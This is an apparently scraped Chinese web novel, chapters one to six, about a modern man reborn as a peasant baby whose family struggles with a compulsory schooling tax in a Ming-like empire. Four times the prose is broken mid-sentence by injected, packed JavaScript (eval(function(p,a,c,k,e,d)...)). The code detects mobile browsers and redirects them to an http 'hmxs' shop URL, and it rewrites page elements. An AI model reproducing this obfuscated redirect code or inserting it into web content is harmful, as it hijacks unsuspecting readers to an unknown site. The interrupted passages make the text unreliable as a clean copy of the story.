《《寒门贵子?不,是阖家青云》》 1. 剥削底层的蒙养税 王佑费力地掀开沉重的眼皮,视线模糊,耳畔是断断续续、带着浓重乡音的对话,还有……一股难以形容的气味直冲鼻腔。像是陈旧的木头、泥土、油灯燃烧后的烟味,混杂着淡淡的汗味和奶腥气。 他想动,却发现身体完全不听使唤,软得像一团棉花,只勉强能感觉到自己被布料包裹着,躺在臂弯里。那布料摩挲着皮肤,略带刺痒的触感。 “哎呦,老实,恭喜,恭喜,是个带把儿的!”一个略显尖锐的女声响起,带着难以掩饰的欣喜。 随即,一个浑厚的声音“嗯”了一声,听不出太多情绪。 小子?带把儿的?王佑脑子嗡了一下,残留的眩晕感里硬生生挤入一丝荒谬。他最后的记忆还停留在那个闷热的傍晚,他和死党同事勾肩搭背冲出公司,计划着晚上去哪家新开的VR游戏馆疯玩一场……然后就是刺耳的刹车声、剧烈的撞击、天旋地转。 他想张嘴说话,发出的却是一声细弱的啼哭。 声音稚嫩得不像自己。 他试着转动眼珠,视野渐渐清晰。黑黢黢的屋顶,裸露的房梁,墙壁是木头与青砖混合而成,光线昏暗,只有几缕微光从高处的小窗和敞开的门外透进来。自己正躺在一个看似四十左右的妇人臂弯里,妇人面色蜡黄,头发用一块旧布包着,眼神疲惫却透着温柔。旁边站着一男一女。男人圆脸,皮肤被晒得黝黑粗糙,额头上刻着深深的皱纹,穿着一身灰扑扑、打着补丁的短打,双手粗糙。女人也差不多年纪,满脸风霜,身上穿着一身洗得发白的靛蓝色衣服,想来就是刚才那个说恭喜的稳婆。 “爹,娘,给弟弟起个名儿吧。”一个清脆的声音从旁边传来。 王佑努力偏过头,看见一个约莫六七岁的小女孩,颇为清秀,头发在头顶扎着两个有点歪斜的小鬏,身着也是半旧的青色衣服,正扒着门框往里看,眼里带着好奇和一点点对新成员的期待。 男人沉默了片刻,目光在襁褓上停留,瓮声瓮气道:“就叫……王佑吧。” 妇人,他现在的娘,轻轻拍着他,对男人道:“他爹,这个名儿好。” 王佑心里一咯噔。王佑?他本名就是王佑。这是巧合?还是某种……说不清的关联?他暂时没力气深究,婴儿的本能很快占了上风,饥饿感袭来,他忍不住瘪了瘪嘴,发出一声细弱的啼哭。 接下来的日子,王佑被困在这个无法自主的小小躯体里,被迫适应着全新的身份和环境。大部分时间在昏睡,清醒时就观察。这房子不大,泥土地面,家具简陋得可怜,几个破旧的木箱,一张方桌,几条长凳,墙角堆着农具和杂物。空气里总飘着饭菜的粗粝香味,主食似乎是某种混合了谷皮的饼子或粥,偶尔能见到一点菜叶,肉腥是稀罕物。 家人也渐渐清晰。父亲王老实,话不多,每日天不亮就扛着锄头下地,天黑才拖着疲惫的身子回来;母亲李氏,操持家务,养鸡、做饭、浆洗,手脚不停;大姐王杏,已经是个半大姑娘,帮着母亲做很多活计,沉稳少言,偶尔看向他的目光带着属于长姐的温和;大哥王树,看起来八九岁,正是皮实的年纪,但也知道帮着拾柴、看顾家禽;二姐叫王桃,就是最初看到的那个小姑娘,性子活泼些。 物质确实匮乏,穿着打补丁的衣服,吃着粗粝的食物,住着低矮的房屋。但王佑渐渐察觉出不对劲。这种不对劲,并非全然是历史书上‘朱门酒肉臭,路有冻死骨’的极端悲惨,而是一种……与这种物质匮乏并不完全匹配的秩序感。 首先是干净。虽然破旧,但家中器物摆放整齐,地面虽不平整却清扫过,大人孩子的脸和手都看得出清洗的痕迹,衣服虽旧,补丁也打得细致。其次是家庭关系,父母间、兄弟姐妹间,说话有分寸,小的听大的,大的照顾小的,争吵似乎很少,有一种默契的规矩在。最让王佑感到惊愕的,是他发现,这个家里的孩子,居然都识字! 那是一个午后,阳光透过高窗,在地上投出几块光斑。王佑被放在一个铺了旧布的竹篮里,靠在墙边。二姐王桃蹲在泥地上,拿着一根细树枝,正一笔一划地在地上划拉着什么。王佑费力地聚焦视线,努力辨认。 虽然笔画歪斜,结构松散,但确实是方块字!她写的是……人、口、手……简单的启蒙字。 王佑的心跳漏了一拍。农家的孩子,会写字? 在他的认知里,就是放到民国和新中国初期,绝大多数底层农民也是目不识丁的! 他忍不住转动眼珠,看向坐在门口做针线的大姐王杏。 只见王杏偶尔停下手里的活计,目光扫过王桃写在地上的字,低声纠正:“桃妹,那个手字,右边一弯钩,你写直了。” 王桃“哦”了一声,擦掉重写。 更让他震惊的还在后面。傍晚,大哥王树从外面跑回来,手里攥着几根草茎,脸上带着汗和兴奋:“娘,周夫子今天教了《千字文》前四句,我背下来了!” 李氏在灶间忙碌,头也不抬:“背来听听。” 王树立刻站直了,清了清嗓子,用一种带着乡音却清晰努力的腔调背诵:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张……” 背得不算特别流畅,但一字不差! 王佑彻底懵了,难道这个世界根本就不是他以为的中国古代某个朝代?这世界怎么这么诡异? 这疑问在他心中盘旋了好久。直到他满月后不久,一个略显沉闷的夜晚。 一家人围坐在昏暗的油灯下,吃过简单的晚饭。父亲抽着旱烟,眉头紧锁。母亲也停下了手里的活,脸上带着愁容。 “他爹。”李氏的声音压得很低,“村里的税吏又催了,说秋粮要加征一成, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960744|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有杏儿、树儿的蒙养税……再加上桃儿和刚出生的佑儿,这……” 王老实“吧嗒吧嗒”猛吸了两口烟,烟雾缭绕中,脸上的皱纹更深了。 “加征是为着北边修边墙,说是瓦剌人又有异动……没法子。可这蒙养税……”他重重叹了口气,“朝廷让娃娃读书是好事,可这税……一年比一年重!” 王杏低声道:“爹,要不我不……” “胡说!”王老实打断她,“按朝廷规矩,三年蒙学必须读完,多认几个字,以后……总有点用。” 后面的话他没说下去,但王佑听出了那份沉重和无奈。 “可咱家实在……”李氏的声音带了哽咽,“两个娃的蒙养税,再加上田赋、丁银、辽饷……就是把家里的谷子全卖了,怕也凑不齐。要是交不上,听说……听说真会抓去服劳役修边墙!” 屋里的空气一下子凝固了。王树和王桃似乎也明白了事情的严重性,小脸绷得紧紧的,不敢出声。油灯的火苗跳跃着,将一家人的影子拉得长长的,像是压在每个人心头里的巨石。 蒙养税?三年义务教育是强制且收费的?王佑只觉得一股寒意从心底升起,瞬间冲散了之前的那点异样。这哪里是福利?这分明是套在底层脖子上的又一道枷锁!用‘教化’之名,行盘剥之实!难怪家里这般愁云惨淡。 就在这时,王桃怯生生地开口,带着孩子的天真和不解:“爹,娘,夫子不是说,读书明理,是朝廷恩典,以后……以后还能考功名,当官吗?” 王老实和李氏对视一眼,脸上露出比哭还难看的笑容。王老实摸了摸王桃的头,声音干涩:“傻丫头,那是官老爷家,读书人家里的事。咱们农户人家,能认得自己的名字,看懂官府的告示,不被人轻易糊弄,就算没白交这蒙养税。考功名?那得读多少年书?请先生,买笔墨纸砚,赴考的路费盘缠……咱家,想都不敢想。” 考功名?当官? 这几个字像一道微弱的闪电,划过王佑混沌的婴儿思维。他虽然身体是婴儿,但内里是一个经历过信息爆炸时代、读完大学刚刚参加工作的灵魂!四书五经他没系统背过,但数理化生政史地,尤其是现代化的思维能力、学习方法、对历史脉络和政治制度的粗浅了解……这些,是这个时代任何蒙学、甚至许多普通读书人都未必具备的。 既然这个世界的朝廷搞‘义务教育’,不管出于什么目的,至少给了底层一个名义上晋升的通道。 虽然科举之路对农民来说难如登天,但……万一呢? 一股情绪在他小小的胸膛里鼓荡。他不想刚穿越过来,还没来得及看看这个世界,就因为交不起这该死的‘蒙养税’而让家人陷入绝境,甚至让自己未来的生存都成问题。 更不想永远被困在这个底层,重复父辈毫无希望的生活。 2. 王杏卖身进工坊 那晚之后,家里的气氛更沉了,王佑能清晰感受到父母身上那种被生活重担压得喘不过气的焦虑。 父亲出门更早,回来更晚,肩背似乎比以前更佝偻。母亲的叹息声,在喂他吃奶、换尿布的间隙,变得更频繁。大哥王树似乎也懂事了不少,放学回家后玩耍时少了些喧闹,偶尔会呆呆看着门外,不知在想什么。大姐王杏回家依旧沉默地忙碌着,帮母亲喂家禽、劈柴、洗衣、做饭,手脚麻利,只是眼神时常会飘向村口那条通往镇上的土路,停留片刻,又默默收回。 变化在一个清晨悄然发生。 天还没亮,王杏在屋里轻轻移动。她换上了一身最干净、补丁最少的旧衣裳,头发梳得整整齐利落,用一根木簪牢牢挽住。走到父母床边跪下,无声地磕了一个头。动作很轻,几乎没有声音。接着,她走到放杂物的角落,从一堆旧布里摸出一个扁平的布包,紧紧攥在手里,最后看了一眼这个家,看了一眼还在睡梦中的弟妹,以及竹篮里的幼弟,眼神复杂,有不舍,有决绝。 然后,她悄无声息地拉开门栓,瘦削的身影融入了门外青灰色的晨雾里。 天微亮后,李氏起床才发现大女儿不见了。起初以为她是去河边洗衣或者拾柴,等到日上三竿还不见人影,这才慌了神。王老实从地里被叫回来,屋里屋外找了一圈,在村里问了几户相熟的人家,又去了周夫子家中,都说没见着。 “杏儿她……”李氏脸色惨白,声音颤抖,“她床铺收拾得整整齐齐,那件舍不得穿的新褂子不见了……还有,我藏在瓦罐底下的七个铜钱,也没了……” 王老实蹲在门槛上,抱着头,旱烟也不抽了,整个人像一下子被抽走了脊梁骨。许久,他才闷闷地说:“她留话了没?” “没有……”李氏的眼泪掉下来,“这孩子,她能去哪儿啊?” 王树和王桃也被吓住了,紧紧依偎在母亲身边,不敢说话。 王佑在竹篮里,心里又急又堵。 接下来两天,王老实去附近几个村子打听,都没有消息。直到第三天傍晚,一个经常去镇上卖柴的邻居匆匆跑来,带来口信。 邻居喘着气:“老实哥!我在镇西头永顺纺纱工坊门口,好像看见你家杏丫头了。穿着工坊的统一褂子,正跟着一群女工往里走呢!人太多,我没敢确定,也没叫住……” 永顺纺纱工坊。 李氏脚下一软,差点摔倒。王老实的脸色黑得像锅底,嘴唇哆嗦着,半晌,才从牙缝里挤出几个字:“她……她真去了那种地方……” 王佑从父母和邻居只言片语的震惊、愤怒、以及难以言喻的羞耻感中,拼凑出了信息:镇上的工坊,是近些年才兴起的新鲜事物,据说雇了好多男工女工,日夜轮班干活。去那里做工,对农户人家来说,并不是什么光彩的选择。尤其是姑娘家,抛头露面,和那么多陌生人一起待在轰鸣的房子里,拿工钱,这……这几乎和堕落沾边了。 但王佑听出了另一层意思:工坊,雇佣,工钱。这是……早期资本主义萌芽?在这个看似古代的世界里,已经出现了? “我去把她抓回来!”王老实猛地站起来,眼睛通红。 “他爹!”李氏哭着拉住他,“杏儿是为什么去的,你不清楚吗?她是想给家里省口粮,挣点钱啊!” 王老实顿时僵住,推开堂屋的手无力垂下。 屋里一片死寂,只有李氏压抑的啜泣声。 又过了几天,镇上的工坊捎来口信和一个小小的布袋。口信很简单:王杏自愿入工坊做工,签了六年契约,包吃住,每月工钱三百文,年底酌情有赏。先预支了第一个月的工钱,送来家里。 王老实颤抖着手打开布袋,里面是三百个沉甸甸的铜钱! 他看着那堆铜钱,又看看泪流满面的妻子,看看懵懂惶恐的幼子幼女,最后目光落在竹篮里正努力朝他看来的王佑身上。这个沉默寡言的汉子,肩膀剧烈地抖动起来,却没有发出声音。他慢慢蹲下身,把脸深深埋进粗糙的手掌里。 之后每月按时捎回的工钱,像一块烧红的烙铁,烫在这个家每个人的心里。它暂时缓解了迫在眉睫的压力,却也带来了更深的担忧和无力。 王老实和李氏不再提去把女儿抓回来的话,只是每次钱捎来,家里的气氛就格外沉闷。李氏会对着镇子的方向抹很久眼泪,王老实抽烟抽得更凶了。 王佑将这一切看在眼里。大姐的牺牲,父母的无奈,家庭的挣扎,像冰冷的刻刀在他心里留下痕迹。 他不再只是被动观察。当母亲李氏抱着他,无意识地哼着乡间小调时,他会格外专注地听那些发音,努力捕捉这个时代语言的韵律和词汇。当二姐在地上划字,或者大哥背诵蒙学课文时,他会瞪大眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960745|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼命记忆那些对他来说既熟悉又陌生的内容。 他在婴儿有限的清醒时间里,拼命吸收着这个陌生世界的一切信息。 秋去冬来,村里的周夫子,因为感染风寒病倒了。村学暂时停了课。周夫子无儿无女,家境清贫,这场病来得急,有些凶险。村里人淳朴,轮流送些汤水照看,但终究不是长久之计。 王老实和李氏念着周夫子平日对村里娃娃的教诲之恩,也惦记着王树还要继续上学,家里虽紧,还是坚持让王树每天送一碗稀粥过去。 这天,王树送粥回来,脸上带着害怕:“爹,娘,周夫子说话都含糊了。我进去的时候,看见桌上堆了好多旧书,还有写满字的纸,乱糟糟的。他看见我,指着那些书纸,咿咿呀呀的,也听不清说啥。” 李氏叹气:“唉,夫子可怜。那些书纸可是他的命根子。” 王老实沉默了一下,对王树说:“明天你去,问问夫子要不要帮忙收拾一下。别毛手毛脚弄坏了。” 第二天,王树又去了。回来时,他肩上挎着一个打满补丁的蓝布包袱,神色有些惴惴不安。 “爹,娘。”王树把包袱小心放在桌上,“周夫子他……他说他这次可能挺不过去了。这些是他早年抄的笔记,还有一些杂书。说我是肯学的,桃妹……佑弟将来也要开蒙。这些他用不上了,送给咱家……说,说算抵了这些日子送粥的情分。” 包袱解开,里面是十几本线装旧书,纸张泛黄,边角磨损,还有一叠用麻绳穿起来的抄写纸,字迹工整中带着拘谨。书多是《三字经》、《百家姓》、《千字文》的常见蒙学本,有一本《训蒙大意》,还有两本似乎是自己抄录的《对韵》和《千家诗》。最底下,居然还有一本似乎讲述各地物产风土的杂记。 这些东西,对真正的书香门第或许不值一提,但对王佑家而言,不啻于一座小小的宝库!尤其是那些抄录的笔记,可能包含着周夫子多年教学的体会,甚至是应对蒙学考核的窍门。 李氏双手在围裙上擦了又擦,才敢去碰那些书,眼中闪着泪光:“这……这怎么使得……夫子太厚道了……” 王老实盯着那堆书,喉结滚动了几下,对王树说:“给夫子磕头了没有?” “磕了,磕了三个响头。”王树连忙说。 “嗯。”王老实重重地点了下头,目光落在那堆书上。 3. 并学 周夫子还是没能熬过那个冬天。 春节过后,消息传来时,天上正飘着细碎的雪沫子,落在土路上,很快化成一滩滩泥泞。报信的是村里的地保,脸色冻得发青,袖着手,站在王家低矮的屋檐下,语气带着一丝不耐:“周夫子病故,按例本该上报县学,请派新知事或童生来继任村学。只是如今北边用兵,各处钱粮、人力吃紧,县里也乏人。经老爷们议定,王家村的蒙童,自明年开春起,一律并到十里外的李家村开蒙。” 李氏正抱着王佑在灶前烧火,闻言手一抖,一块柴火掉出来。王老实刚从地里回来,裤脚上还沾着泥,僵在门口。王树和王桃从里屋探出头,小脸上满是茫然。 “去……去李家村?那么远,孩子每天来回……”李氏声音发颤。 地保耷拉着眼皮,打断她:“远?十里路算个甚!能有书念就不错了!这是县里老爷们的明断!李家村可不是咱王家村,那是有学馆的,李夫子学问比周夫子强了不知多少,村里这些娃子,算是因祸得福!” 他顿了顿,语气略缓:“路是远了点,束脩嘛……自然也得按李家村的规矩来。李夫子那边,一年要这个数。” 他伸出三根手指晃了晃。 三百文,周夫子生前只是象征性的收取五十文! 王老实脸上的肌肉抽动了一下,没说话,只是那握着锄头柄的手,骨节捏得发白。 地保咳了一声:“话已带到,开春后自己看着办吧。误了时辰,李夫子那里不收,可别怪我没提醒。” 地保甩甩袖子,踩着泥泞走了,留下满屋的寒气和一地狼藉的沉默。 王树慢慢低下头,盯着自己的旧布鞋。王桃悄悄拉住了哥哥的衣角,眼睛有点红。他们听懂了,念书,变得更难,更贵了。 李氏的眼泪扑簌簌掉下来,滴在王佑的襁褓上,温热,又很快变凉。 她哽咽着:“这……这可怎么办……杏儿那点工钱,刚够交田赋丁银,哪还有余钱……” 王老实蹲在门槛上,对着院子里薄薄的积雪,抽完了一袋又一袋闷烟。 几天后的清晨,王老实声音嘶哑,却带着决断,“树儿,收拾一下,明天……送你去李家村。” 王树的肩膀塌了一下,没吭声。 “他爹!”李氏哀声唤道。 王老实摆摆手:“十里路,娃小走不起,也不能天天来回。我想好了,树儿住你大哥家。束脩……我想法子。平时就在那边,农忙、年节,再回来。” 李氏的娘家在李家村算是中等人家,妯娌虽不是刻薄之人,但平白添一张吃饭的嘴,时间长了,难免会有脸色,会有闲话。这些,王老实和李氏都懂,可他们没有别的路。 王佑看着大哥默默收拾那几件破旧衣衫,看着二姐把舍不得吃的半块粗面饼小心包好,看着母亲一边抹泪一边往包袱里塞进几个烙好的粗粮饼。父亲则出门去了,直到天黑才回来,带回一小块腊肉和凑来的铜钱。 第二天一早,王树背着包袱跟着父亲,一步三回头地离开了家门。王桃、李氏抱着王佑,站在门口,直到他们的身影消失,都没有动。 王老实回来后变得更加沉默,除了下地,就是闷头编些筐篓,指望能换几个零钱。周夫子留下的那包书,被李氏小心翼翼地收了起来,放在床头的旧木箱里,上面压着几件旧衣服。 王佑被这巨大的无力感包围。大姐在镇上工坊打工,大哥在陌生的村庄和亲戚屋檐下,父母在这清冷破败的家中挣扎。 一家人,被生活的鞭子抽得四分五裂! 他必须做点什么,不能就这样被动地等待长大。 当王桃或李氏无意识哼起乡间小调时,他会努力跟着发出相似的音节,试图学语。当王老实编筐,口中念叨着“一压一挑”时,他也咿咿呀呀地模仿。他展现出了超乎寻常的安静和专注,眼神常常追随着父母的劳作,仿佛在努力理解这个世界的运行规则。 最重要的是,他开始频繁地、固执地指向那个旧木箱。 起初,李氏只是以为他闹腾,或者对箱子好奇。但王佑的指向异常坚持,而且每当李氏无奈之下打开箱子,露出里面旧书的封皮时,他就会安静下来,黑亮的眼 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这个被现实逼到墙角的农家,以一种奇特的方式,重新与文字发生了联系。 春末,一直安静坐在床上‘看’书的王佑,突然对着正拿起《百家姓》皱眉的父亲,说出了一个赵字。 王老实手一抖,书差点掉在地上,他猛地扭头,死死盯住幼子。 王佑的小手指着书页上第一个字,在父母骤然凝固的惊骇目光中,又慢慢地、一个接一个地,念出了他暗中练习了无数遍、确保发音尽可能准确的几个字:“钱、孙、李……” 李氏手中的针线啪嗒落地,王桃目瞪口呆的看着自己的幼弟。 王老实的呼吸粗重起来,胸膛起伏。他看着幼子,又看看书,再看看幼子。那眼神,是在看一个他完全无法理解的认知。 王佑念完这几个字,似乎耗尽了力气,小脸有些发白,但眼神依旧清亮,安静地回望着父亲。 屋里,只剩下窗外雨水敲打窗棂的细密声响,和父母、二姐几乎停滞的心跳声。 4. 家人察觉到王佑的异常 那日王佑清晰吐出的几个字,像一道惊雷。王老实夫妇和王桃对此事讳莫如深,绝不敢对外人提起半句。他们只是更沉默地劳作,更小心地守护着家中这个‘异常’的幼子、幼弟。 时间在拮据、忧虑和隐秘的期盼中悄然滑过。王树在李家村学馆的日子,起初是生涩而忐忑的。寄居舅家,虽不至受冻挨饿,但‘客居’的拘谨、帮忙做活时生怕出错的紧张依旧存在。 李夫子严肃古板,对学业要求甚严,王树基础尚可但不算突出。最初的两三个月,他每次托人捎回的信件,字里行间和只言片语中,总带着挥之不去的怯怯。 夏收时节,王树回家帮忙抢收。离家近半年,都黑瘦了些,但眼睛似乎比离家时更亮了些,举手投足间多了点说不出的沉静。 家里还是老样子,只是幼弟的变化令他吃惊。十二个月的稚童,大多蹒跚学步、咿呀学语,但幼弟不仅走得稳当,口齿也异常清晰。不像别的稚童那般终日嬉闹,反而有种过分的安静。常常蹲在母亲做活计的旁边,或是父亲修理农具的阴影里,不吵不闹,只是睁着一双黑漆漆的眼睛看,偶尔会问出几个让他愣神的问题。 “大哥,为什么谷子要晒干了才能存?” “镰刀弯的这个弧度,是不是割起来最省力?” 最让王树感到异样的是王桃与他说。有一天,母亲在灯下缝补,父亲抽着烟歇息,她拿出周夫子手抄的《千家诗》,就着昏暗的油灯认字。 她读得磕绊,正对着一句‘春眠不觉晓’的‘眠’字皱眉时,在旁边安静玩着几颗小石子的幼弟,忽然抬起头,清清楚楚地念了出来:“眠,睡觉的意思。春眠,就是春天睡觉。” 王桃一惊,手里的书差点掉了,猛地看向弟弟:“佑弟,你……你认得这个字?” 王佑眨眨眼,一脸天真无邪:“二姐你刚才念的呀。春眠不觉晓,刚刚念了好几遍。” 理由似乎说得通,但王桃心里那股怪异感却越来越挥之不去。幼弟听了几遍就能准确复述整句诗,还能解释字义?弟弟看书的眼神…… 王树听完后一个念头一闪而过,旋即被繁重的农活冲淡。 那次夏收后,王树回到李家村学馆,像是变了一个人。或许是离家看到了父母的艰辛和幼弟的‘异常’早慧,刺激了他骨子里那份属于长子的责任感和不甘。他不再仅仅是完成课业,而是开始主动钻研。李夫子课上讲的,他反复咀嚼;布置的背诵,他力求滚瓜烂熟;有限的几本可借阅的书籍,他翻来覆去地看。不懂之处,他壮着胆子去问,哪怕换来的是夫子不耐烦的呵斥或同窗的嗤笑。夜里,他就在舅家灶膛的余烬旁,或是借着窗棂透进的月光,用手指在膝头默写笔画。 他的变化,李夫子看在眼里。这个老童生科举无望,在乡间教书大半生,所求无非是些束脩糊口和‘桃李’之名。王树家贫,起初并不起眼。但这孩子身上那股陡然迸发的狠劲和肉眼可见的进步,让李夫子有些意外,继而产生了一丝惜才之意。他开始偶尔给王树‘开小灶’,多讲几句经义,多批改几个字,甚至将自己早年用过的一本略有批注的《论语》残本借给了他。 王树的成绩,就这样在沉默的爆发中,悄然跃升。冬季一次学馆小考,他竟拔得头筹。李夫子捻着稀疏的胡须,当众夸赞了几句,虽不算多么热情,但对一个农家子而言,已是难得的殊荣。消息甚至微微惊动了舅家,舅母经常和邻居说起,脸上有光,对王树的态度也悄然和缓了些。 春节,王树再次归家。这一次,王树背着的包袱里,除了几件旧衣,还多了些赏赐。一小卷李夫子奖励的纸和一支秃头的毛笔。 家里依旧清贫,王桃又长高了些。王佑又长大了不少,说话行事更不像个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夫子青睐,成绩优异,这只是开始,是漫长读书路上微不足道的一小步。后面的路,需要更多的银钱,更多的机缘,更硬的靠山……而这些,王家都没有! 他翻了个身,借着窗缝透进的微光,看向旁边小床上王佑朦胧的轮廓。这个幼弟,聪明得不像话,他身上似乎藏着这个家谁也看不透的秘密。 5. 李夫子劝学 正月十五过完,王桃已经去李家村学馆蒙学,同样寄住在舅家中。王佑已从周夫子留下的书中得知,这个世界的朝廷叫大梁,皇帝姓朱,书中所述与前世的明朝中后期颇为相似。 王树则以一种近乎苦行僧的专注,抓住了李夫子那点惜才之意带来的微小优势,将《三》、《百》、《千》、《幼学琼林》等蒙书嚼烂背熟,将李夫子那本《论语》残本翻得边角起毛,连上面的批注都几乎能默写下来。他的成绩稳居学馆前列,甚至能将一些家境更好、开蒙更早的同窗也比下去。 李夫子看他的眼神,从最初的略带意外,到后来的认可,再到蒙学将尽时的惋惜与不甘。他自己科举路断,平生憾事,眼见一块未经雕琢的璞玉在学馆里显出莹润光泽,却要因家贫而止步于蒙学之后,那种‘暴殄天物’的感觉,让他坐立难安。 于是,在冬季校考结束后,也是王树即将蒙学结束前那日,李夫子将王树单独叫到了他那间堆满旧书的小书房。 李夫子捋着胡须,开门见山:“王树,你的蒙学已算扎实,甚好。按朝廷规制,蒙学之后,若有志于科举正途,当入县学或寻良师进修经义,习作文章。以你之资,困于乡野,止于蒙昧,实为可惜。” 他顿了顿,看着王树骤然绷紧又迅速黯淡下去的脸,缓缓道:“老夫虽才疏学浅,于经义制艺上,倒也略知一二。你若有意,可继续留在我这里,我教你《四书》章句,指点你破题作文。束脩嘛……” 他沉吟了一下:“知你家中不易,可按旧例再减五成。” 这已是极大的善意和让步。对王树而言,继续读书,意味着可能触摸到改变命运的一线天光。 他的心脏在胸腔里狂跳起来,血液冲上头顶,耳边嗡嗡作响。他几乎要脱口而出答应,眼前仿佛已经看到了县试的考棚,看到了父母欣慰的笑容,甚至看到了幼弟那双总是安静注视着他的眼睛里,或许会露出赞许的光。 但随即,现实的冰水兜头浇下。减五成束脩,依然是笔不小的开销。大姐的工钱时断时续,听闻工坊近来不景气,已有女工被辞退。家里的田地产出,扣除各种赋税和口粮,所剩无几。妹妹的蒙学用度也是负担。还有那个越来越显得‘不同’的弟弟……父母肩上的担子,早在他们蒙学的这段时间里不堪重负! 他低下头,看着自己打满补丁的破袄,指甲深深掐进掌心。喉结滚动了好几下,才将那几乎要冲破喉咙的渴望和哽咽死死压下去。 “学生……谢过夫子厚爱。夫子恩德,学生没齿难忘。只是……只是家中实在……无力承担。父母年事渐高,弟妹尚幼……” 他说不下去了,深深揖了下去。 李夫子看着他微微颤抖的肩膀,长长叹了口气,终究没再说什么,只挥了挥手:“罢了,罢了!你且去吧!” 王树不知道自己是怎么走出那间书房的。冬季的暖阳照在他身上,却感觉不到丝毫暖意。他一步一步,走回舅家那个暂时栖身的小厢房,关上门,将自己埋在黑暗里,任由那股混合着不甘和巨大自责的情绪,将他彻底淹没。 他将夫子的提议和自己的想法深埋心底,没有在归家时提起半个字。只是变得更加沉默,帮着家里干活时更加拼命,仿佛想用身体的疲惫来麻痹内心的痛苦。 时间转眼到了腊月二十四。这天午后,王老实和李氏正在屋里打扫,王佑拿着一根树枝,在门口的泥地上安静地划拉着什么。 村口的老槐树下,忽然出现了一个穿着半旧棉袍、头戴方巾的身影。那身影拄着一根竹杖,走得有些吃力。 村头几个老汉眼尖,认了出来,顿时一阵骚动。李夫子怎么会亲自跑到王家村来?看方向,竟是朝着村尾王老实家去的? 消息像风一样传开,好奇的目光从各家篱笆后投射出来。 李夫子走到王家那土坯院墙外。他停下脚步,整了整衣衫,然后抬手敲响了那扇虚掩的木门。 “梆、梆、梆。” 王老实和李氏被敲门声惊动,李氏透过门缝一看,吓得差点叫出来:“他爹!是……是李夫子!” 王老实也懵了,李夫子怎么会来? 他手忙脚乱地拉开门,和李氏一起,手足无措地将这位德高望重的老夫子请进屋里。 屋里异常寒冷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960748|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李夫子却似浑然不觉,他目光扫过家徒四壁的屋子,掠过王老实夫妇惶恐不安的脸,最后,落在手里还拿着树枝的王佑身上。 王佑也抬头看着这位不速之客。 李夫子开口:“冒昧打扰,今日前来,是为你们家长子,王树。” 王老实和李氏的心一下子提到了嗓子眼。 “树儿他……”李氏声音发抖。 “王树很好。”李夫子摆摆手,示意他们安心,“蒙学期间,他勤勉刻苦,资质上佳,乃老夫平生所见农家子弟中少有。老夫不忍见他因家贫而辍学,埋没乡野。前次与他言及,许他减成束脩,随我进修经义,被他以家贫婉拒。” 王老实和李氏愣住了,互相看了一眼,都从对方眼中看到了震惊和茫然,王树从未跟他们提过! 李夫子将他们的反应看在眼里,心中了然,继续道:“老夫思之再三,今日特来,是想亲自与二位分说。科举一道,固然艰难,但王树有此资质,若得指引,未必不能搏一个出身。一旦得中,哪怕是区区童生,家中赋税可减,乡里敬重,前程与现今便有云泥之别!” 他的语气带着一种老书生特有的热切:“如今阻他前路的,不过些许银钱。老夫束脩可减,乃至缓交!只需家中供他笔墨纸砚即可!此等机会,千载难逢,万不可因一时困顿而误他终身啊!” 一番话,说得王老实和李氏心潮起伏,希望像野火一样被点燃。减束脩,可缓交。听起来诱惑极大。可笔墨纸砚也不是小钱,王树若专心读书,便少了一个重要劳力,家里田地的活计怎么办?幼子还小,日后也要开蒙……账,怎么算都是亏空。 王老实嘴唇嗫嚅着,被这突如其来的选择和沉重的压力,压得几乎喘不过气。他看向李氏,李氏眼中满是挣扎。 李夫子看向面如土色、犹豫挣扎的农家夫妇,知道今日之事,已难即刻定论。 他叹了口气,站起身:“老夫言尽于此。其中利害,你们自家好生斟酌。王树前程,系于你们一念之间。若有意,可让王树节后来学馆寻我。” 说完,他不再停留,拄着竹杖,转身离开了王家小院。 6. 王佑提议打工 李夫子的身影消失在村口,留下王家小院一片死寂。院门外,看热闹的村邻窃窃私语着散去,门内,凝重的气氛几乎压垮了屋檐。 王老实和李氏像两尊泥塑,呆立在屋子中央,冷汗顺着鬓角往下淌,却浑然不觉。夫子的提议是诱人的,像漆黑深井里垂下的一根蛛丝,纤细,却可能是唯一的攀爬希望。 但万一……万一读了十年八年,最终还是一场空呢?那不仅误了树儿,这个家也就彻底拖垮了。 